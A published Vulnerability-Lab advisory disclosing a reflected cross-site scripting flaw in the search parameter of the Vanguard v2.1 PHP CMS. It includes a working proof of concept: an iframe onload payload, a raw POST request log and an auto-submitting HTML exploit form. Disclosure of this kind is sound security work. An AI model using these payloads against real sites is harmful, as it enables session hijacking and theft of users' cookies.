===============
Vanguard v2.1 - (Search) POST Inject Web Vulnerability
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2283
Release Date:
=============
2021-10-26
Vulnerability Laboratory ID (VL-ID):
====================================
2283
Common Vulnerability Scoring System:
====================================
4
Vulnerability Class:
====================
Cross Site Scripting - Non Persistent
Current Estimated Price:
========================
500€ - 1.000€
Product & Service Introduction:
===============================
https://codecanyon.net/item/vanguard-marketplace-digital-products-php/20287975
Abstract Advisory Information:
==============================
The vulnerability laboratory core research team discovered a post
inject web vulnerability in the Vanguard v2.1 cms
web-application.
Affected Product(s):
====================
VanguardInfini
Product: Vanguard v2.1 - CMS (PHP) (Web-Application)
Vulnerability Disclosure Timeline:
==================================
2021-10-26: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Authentication Type:
====================
Pre Auth (No Privileges or Session)
User Interaction:
=================
Low User Interaction
Disclosure Type:
================
Responsible Disclosure
Technical Details & Description:
================================
A non-persistent post inject web vulnerability has been discovered
in the official Vanguard v2.1 cms web-application.
The vulnerability allows remote attackers to inject malicious
script code in post method requests to compromise user
session data or to manipulate application contents for clients.
The vulnerability is located in the phps_query parameter of the
search module. The vulnerability is a classic post
injection web vulnerability with non-persistent attack vector.
Successful exploitation of the vulnerability results in session
hijacking, non-persistent phishing attacks, non-persistent
external redirects to malicious source and non-persistent
manipulation of affected application modules.
Request method(s):
[+] POST
Vulnerable Input(s):
[+] Search
Vulnerable Parameter(s):
[+] phps_query
Proof of Concept (PoC):
=======================
The client-side post inject web vulnerability can be exploited by
remote attackers without account and with low or medium user
interaction.
For security demonstration or to reproduce the cross site web
vulnerability follow the provided information and steps below to
continue.
Vulnerable Source: search
<div class="ui yellow basic segment"></div>
<div class="ui container" style="margin-top: -0.7em;">
<form method="POST"
action="https://vanguard.squamifer.ovh/search">
<div class="ui action input fluid">
<input name="phps_query" type="text" value=""><iframe
src=a onload=alert(document.cookie)>" placeholder="Search for a
product...">
<button class="ui button" type="submit"
name="phps_search"><i class="search
icon"></i>Search</button></div></form>
<div class="ui divider"></div>
<div class="ui cards aligned centered">
<div class="alert color blue-color"><div class="ui hidden
divider"></div>
<div class="ui icon info message"><i class="help circle
icon"></i><div class="content">
<div class="header">No results found for
<strong><iframe src=evil.source
onload=alert(document.cookie)></strong>.</div></div></div></div>
</div></div></div>
--- PoC Session Logs [POST] ---
https://vanguard.localhost:8080/search
Host: vanguard.localhost:8080
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Content-Type: application/x-www-form-urlencoded
Content-Length: 86
Origin: https://vanguard.localhost:8080
Connection: keep-alive
Referer: https://vanguard.localhost:8080/
Cookie: PHPSESSID=57d86e593a55e069d1e6c728ce20b3b8
phps_query=">%20<iframe src=evil.source
onload=alert(document.cookie)>&phps_search=;)
-
POST: HTTP/2.0 200 OK
content-type: text/html; charset=UTF-8
pragma: no-cache
cache-control: private
vary: Accept-Encoding
Exploitation: PoC
<html>
<head>
<title>PoC</title>
<style type="text/css">
#nodisplay {
display:none;
}
</style>
</head>
<body>
<div id="nodsiplay">
<form action="https://vanguard.localhost:8080/search"
method="post">
<input type="text" name="phps_query" value=">%20<iframe
src=evil.source onload=alert(document.cookie)>"/>
</form>
</div>
<script>
function submitForm() {
document.forms[0].submit();
}
submitForm();
</script>
</body>
</html>
Security Risk:
==============
The security risk of the validation web vulnerability in the
web-application is estimated as medium.
Credits & Authors:
==================
Vulnerability-Lab [Research Team] -
https://www.vulnerability-lab.com/show.php?user=Vulnerability-Lab
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=========================
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